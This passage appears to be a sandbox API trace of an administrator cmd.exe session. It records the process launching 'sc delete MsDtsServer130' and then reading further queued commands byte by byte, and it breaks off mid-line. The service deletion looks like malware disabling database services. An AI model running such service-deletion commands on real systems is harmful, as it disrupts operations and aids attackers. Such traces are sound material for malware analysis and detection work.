C:\\Windows\\system32\\cmd.exe - sc delete MsDtsServer130") returned 1 [0075.084] GetProcessHeap () returned 0x240000 [0075.084] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259180 | out: hHeap=0x240000) returned 1 [0075.084] InitializeProcThreadAttributeList (in: lpAttributeList=0x1af378, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x1af338 | out: lpAttributeList=0x1af378, lpSize=0x1af338) returned 1 [0075.084] UpdateProcThreadAttribute (in: lpAttributeList=0x1af378, dwFlags=0x0, Attribute=0x60001, lpValue=0x1af328, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x1af378, lpPreviousValue=0x0) returned 1 [0075.084] GetStartupInfoW (in: lpStartupInfo=0x1af490 | out: lpStartupInfo=0x1af490*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0075.085] GetProcessHeap () returned 0x240000 [0075.085] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x20) returned 0x254610 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="=C:=C:\\", _MaxCount=0x7) returned 38 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="=ExitCo", _MaxCount=0x7) returned 38 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="ALLUSER", _MaxCount=0x7) returned 2 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="APPDATA", _MaxCount=0x7) returned 2 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="CommonP", _MaxCount=0x7) returned 3 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="COMPUTE", _MaxCount=0x7) returned 3 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="ComSpec", _MaxCount=0x7) returned 3 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="FP_NO_H", _MaxCount=0x7) returned -3 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="HOMEDRI", _MaxCount=0x7) returned -5 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="HOMEPAT", _MaxCount=0x7) returned -5 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="LOCALAP", _MaxCount=0x7) returned -9 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="LOGONSE", _MaxCount=0x7) returned -9 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="NUMBER_", _MaxCount=0x7) returned -11 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="OS=Wind", _MaxCount=0x7) returned -12 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="Path=C:", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="PATHEXT", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="PROCESS", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="Program", _MaxCount=0x7) returned -13 [0075.085] _wcsnicmp (_String1="COPYCMD", _String2="PROMPT=", _MaxCount=0x7) returned -13 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="PSModul", _MaxCount=0x7) returned -13 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="PUBLIC=", _MaxCount=0x7) returned -13 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="SystemD", _MaxCount=0x7) returned -16 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="SystemR", _MaxCount=0x7) returned -16 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="TEMP=C:", _MaxCount=0x7) returned -17 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="TMP=C:\\", _MaxCount=0x7) returned -17 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="USERDOM", _MaxCount=0x7) returned -18 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="USERNAM", _MaxCount=0x7) returned -18 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="USERPRO", _MaxCount=0x7) returned -18 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="windir=", _MaxCount=0x7) returned -20 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.086] _wcsnicmp (_String1="COPYCMD", _String2="windows", _MaxCount=0x7) returned -20 [0075.086] GetProcessHeap () returned 0x240000 [0075.086] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x254610 | out: hHeap=0x240000) returned 1 [0075.086] GetProcessHeap () returned 0x240000 [0075.086] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0x12) returned 0x2589d0 [0075.086] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete MsDtsServer130", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x1af3b0*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete MsDtsServer130", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x1af360 | out: lpCommandLine="sc delete MsDtsServer130", lpProcessInformation=0x1af360*(hProcess=0x50, hThread=0x54, dwProcessId=0x640, dwThreadId=0xadc)) returned 1 [0075.089] CloseHandle (hObject=0x54) returned 1 [0075.089] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0075.089] GetProcessHeap () returned 0x240000 [0075.089] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.089] GetEnvironmentStringsW () returned 0x25ba10* [0075.089] GetProcessHeap () returned 0x240000 [0075.089] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0075.090] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0075.090] NtQueryInformationProcess (in: ProcessHandle=0x50, ProcessInformationClass=0x0, ProcessInformation=0x1aec68, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x1aec68, ReturnLength=0x0) returned 0x0 [0075.090] ReadProcessMemory (in: hProcess=0x50, lpBaseAddress=0x7fffffd5000, lpBuffer=0x1aeca0, nSize=0x380, lpNumberOfBytesRead=0x1aec60 | out: lpBuffer=0x1aeca0*, lpNumberOfBytesRead=0x1aec60*=0x380) returned 1 [0075.090] WaitForSingleObject (hHandle=0x50, dwMilliseconds=0xffffffff) returned 0x0 [0075.147] GetExitCodeProcess (in: hProcess=0x50, lpExitCode=0x1af2a8 | out: lpExitCode=0x1af2a8*=0x424) returned 1 [0075.148] CloseHandle (hObject=0x50) returned 1 [0075.148] _vsnwprintf (in: _Buffer=0x1af518, _BufferCount=0x13, _Format="%08X", _ArgList=0x1af2b8 | out: _Buffer="00000424") returned 8 [0075.148] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0075.148] GetProcessHeap () returned 0x240000 [0075.148] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x261b10 | out: hHeap=0x240000) returned 1 [0075.148] GetEnvironmentStringsW () returned 0x261b10* [0075.149] GetProcessHeap () returned 0x240000 [0075.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x25ba10 [0075.149] FreeEnvironmentStringsW (penv=0x261b10) returned 1 [0075.149] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0075.149] GetProcessHeap () returned 0x240000 [0075.149] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25ba10 | out: hHeap=0x240000) returned 1 [0075.149] GetEnvironmentStringsW () returned 0x25ba10* [0075.149] GetProcessHeap () returned 0x240000 [0075.149] RtlAllocateHeap (HeapHandle=0x240000, Flags=0x8, Size=0xb0e) returned 0x261b10 [0075.149] FreeEnvironmentStringsW (penv=0x25ba10) returned 1 [0075.149] GetProcessHeap () returned 0x240000 [0075.149] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589d0 | out: hHeap=0x240000) returned 1 [0075.149] DeleteProcThreadAttributeList (in: lpAttributeList=0x1af378 | out: lpAttributeList=0x1af378) [0075.149] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0075.150] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.150] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0075.150] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.150] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x49f8e194 | out: lpMode=0x49f8e194) returned 0 [0075.150] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.150] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x49f8e198 | out: lpMode=0x49f8e198) returned 0 [0075.150] GetConsoleOutputCP () returned 0x1b5 [0075.151] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49f9bfe0 | out: lpCPInfo=0x49f9bfe0) returned 1 [0075.151] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0075.151] GetProcessHeap () returned 0x240000 [0075.151] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259b30 | out: hHeap=0x240000) returned 1 [0075.151] GetProcessHeap () returned 0x240000 [0075.151] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x241ab0 | out: hHeap=0x240000) returned 1 [0075.151] GetProcessHeap () returned 0x240000 [0075.151] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x255b70 | out: hHeap=0x240000) returned 1 [0075.151] GetProcessHeap () returned 0x240000 [0075.151] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25c530 | out: hHeap=0x240000) returned 1 [0075.151] GetProcessHeap () returned 0x240000 [0075.151] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa90 | out: hHeap=0x240000) returned 1 [0075.151] GetProcessHeap () returned 0x240000 [0075.151] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x259910 | out: hHeap=0x240000) returned 1 [0075.151] GetProcessHeap () returned 0x240000 [0075.151] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x25aa40 | out: hHeap=0x240000) returned 1 [0075.151] GetProcessHeap () returned 0x240000 [0075.151] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x2589b0 | out: hHeap=0x240000) returned 1 [0075.151] GetProcessHeap () returned 0x240000 [0075.152] HeapFree (in: hHeap=0x240000, dwFlags=0x0, lpMem=0x264660 | out: hHeap=0x240000) returned 1 [0075.152] _vsnwprintf (in: _Buffer=0x49fa6340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x1af7d8 | out: _Buffer="\r\n") returned 2 [0075.152] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.152] GetFileType (hFile=0x120) returned 0x3 [0075.152] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0075.152] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1af7a8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7a8*=0x2, lpOverlapped=0x0) returned 1 [0075.152] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49f8f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0075.152] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49f9c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0075.152] _vsnwprintf (in: _Buffer=0x49f8eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1af7e8 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0075.152] _vsnwprintf (in: _Buffer=0x49f8ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1af7e8 | out: _Buffer=">") returned 1 [0075.152] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.152] GetFileType (hFile=0x120) returned 0x3 [0075.152] _get_osfhandle (_FileHandle=1) returned 0x120 [0075.152] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49f9c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0075.152] WriteFile (in: hFile=0x120, lpBuffer=0x49f9c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1af7d8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesWritten=0x1af7d8*=0x26, lpOverlapped=0x0) returned 1 [0075.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.153] GetFileType (hFile=0xb8) returned 0x3 [0075.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.153] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e320, cchWideChar=1 | out: lpWideCharStr="sc delete MsDtsServer130\n\nce\n") returned 1 [0075.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.153] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e322, cchWideChar=1 | out: lpWideCharStr="c delete MsDtsServer130\n\nce\n") returned 1 [0075.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.153] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e324, cchWideChar=1 | out: lpWideCharStr=" delete MsDtsServer130\n\nce\n") returned 1 [0075.153] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.153] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.153] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.153] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e326, cchWideChar=1 | out: lpWideCharStr="delete MsDtsServer130\n\nce\n") returned 1 [0075.154] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.154] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.154] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.154] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e328, cchWideChar=1 | out: lpWideCharStr="elete MsDtsServer130\n\nce\n") returned 1 [0075.154] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.154] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.154] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.154] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32a, cchWideChar=1 | out: lpWideCharStr="lete MsDtsServer130\n\nce\n") returned 1 [0075.154] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.154] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.154] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.154] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32c, cchWideChar=1 | out: lpWideCharStr="ete MsDtsServer130\n\nce\n") returned 1 [0075.154] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.154] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.154] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.154] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e32e, cchWideChar=1 | out: lpWideCharStr="te MsDtsServer130\n\nce\n") returned 1 [0075.154] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.154] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.155] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e330, cchWideChar=1 | out: lpWideCharStr="e MsDtsServer130\n\nce\n") returned 1 [0075.155] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.155] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.155] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e332, cchWideChar=1 | out: lpWideCharStr=" MsDtsServer130\n\nce\n") returned 1 [0075.155] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.155] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.155] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e334, cchWideChar=1 | out: lpWideCharStr="SsDtsServer130\n\nce\n") returned 1 [0075.155] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.155] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.155] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e336, cchWideChar=1 | out: lpWideCharStr="SDtsServer130\n\nce\n") returned 1 [0075.155] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.155] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.155] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.155] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e338, cchWideChar=1 | out: lpWideCharStr="ItsServer130\n\nce\n") returned 1 [0075.155] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.155] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.156] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33a, cchWideChar=1 | out: lpWideCharStr="SsServer130\n\nce\n") returned 1 [0075.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.156] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.156] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33c, cchWideChar=1 | out: lpWideCharStr="TServer130\n\nce\n") returned 1 [0075.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.156] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.156] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e33e, cchWideChar=1 | out: lpWideCharStr="Eerver130\n\nce\n") returned 1 [0075.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.156] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.156] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e340, cchWideChar=1 | out: lpWideCharStr="Lrver130\n\nce\n") returned 1 [0075.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.156] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.156] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.156] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49f9c320, cbMultiByte=1, lpWideCharStr=0x49f9e342, cchWideChar=1 | out: lpWideCharStr="Ever130\n\nce\n") returned 1 [0075.156] _get_osfhandle (_FileHandle=0) returned 0xb8 [0075.157] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0075.157] ReadFile (in: hFile=0xb8, lpBuffer=0x49f9c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1afad8, lpOverlapped=0x0 | out: lpBuffer=0x49f9c320*, lpNumberOfBytesRead=0x1afad8*=0x1, lpOverlapped=0x0) returned 1 [0075.157] MultiByteToWideChar 